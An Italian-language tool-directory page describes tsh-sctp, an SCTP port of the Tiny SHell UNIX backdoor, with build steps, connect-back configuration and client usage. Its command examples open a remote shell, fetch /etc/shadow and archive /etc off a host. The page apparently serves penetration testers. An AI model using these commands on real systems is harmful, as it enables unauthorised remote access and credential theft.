Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tsh-sctp — Porting di TinySHell su SCTP | Kitploit
Strumenti/GitHubGitHub/infodox/tsh-sctp
Post-ExploitPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubinfodox/tsh-sctp

tsh-sctp

Porting di TinySHell su SCTP

Vedi Repository
1252812 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Tiny SHell - Una backdoor UNIX open-source

root@kitploit:~
* Prima di compilare Tiny SHell

    1. Prima di tutto, imposta la tua chiave segreta, che
       si trova in tsh.h; la chiave può avere qualsiasi lunghezza (usa
       almeno 12 caratteri per una maggiore sicurezza).

    2. Si consiglia di cambiare SERVER_PORT, la porta su cui
       il server rimarrà in ascolto per le connessioni in arrivo.

    3. Potresti voler avviare tshd in modalità "connect-back" se
       viene eseguito su un sistema protetto da firewall; basta decommentare e
       modificare CONNECT_BACK_HOST in tsh.h.

* Compilazione di Tiny SHell

    Esegui "make <sistema>", dove <sistema> può essere uno qualsiasi tra:
    linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

* Come usare il server

    Può essere utile impostare $HOME e la maschera di creazione dei file
    prima di avviare il server:

        % umask 077; HOME=/var/tmp ./tshd

* Come usare il client

    Assicurati che tshd sia in esecuzione sull'host remoto. Puoi:

    - avviare una shell:

        ./tsh <nomehost>

    - eseguire un comando:

        ./tsh <nomehost> "uname -a"

    - trasferire file:

        ./tsh <nomehost> get /etc/shadow .
        ./tsh <nomehost> put vmlinuz /boot

    Nota: se il server è in modalità connect-back, sostituisci
    il nome host della macchina remota con "cb".

* Trasferimenti di file multipli

    Al momento, Tiny SHell non supporta trasferimenti di file multipli
    e/o ricorsivi in stile scp. Puoi aggirare questo problema
    creando un archivio tar e trasferendolo. Esempio:

    ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -

* Modalità terminale

    Su alcuni sistemi "limitati" (nello specifico, IRIX e HP-UX), Ctrl-C
    e altri tasti di controllo non funzionano correttamente. Risolvi con:

        % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"

* Informazioni sulla sicurezza

    Ricorda che la chiave segreta è memorizzata in chiaro sia
    negli eseguibili tsh che tshd; pertanto assicurati che
    nessuno tranne te abbia accesso in lettura a questi due file.
    Tuttavia, puoi scegliere di non memorizzare la chiave reale (valida) nel
    client, che ti chiederà quindi una password all'avvio.

* Note sulla versione SCTP:
Solo testata su Archlinux finora, aspettati che fallisca miseramente
su qualsiasi altra cosa.
È un hack abbastanza brutto, ha alcuni errori di compilazione che ho intenzione di
rintracciare e correggere prima o poi.
La sicurezza del file backdoor (tsh) - cioè la password in
chiaro - sarà sistemata a breve memorizzando solo una password hashata.
Test su hpux, *bsd, ecc. quando avrò accesso a tali macchine.
Scarica lo strumento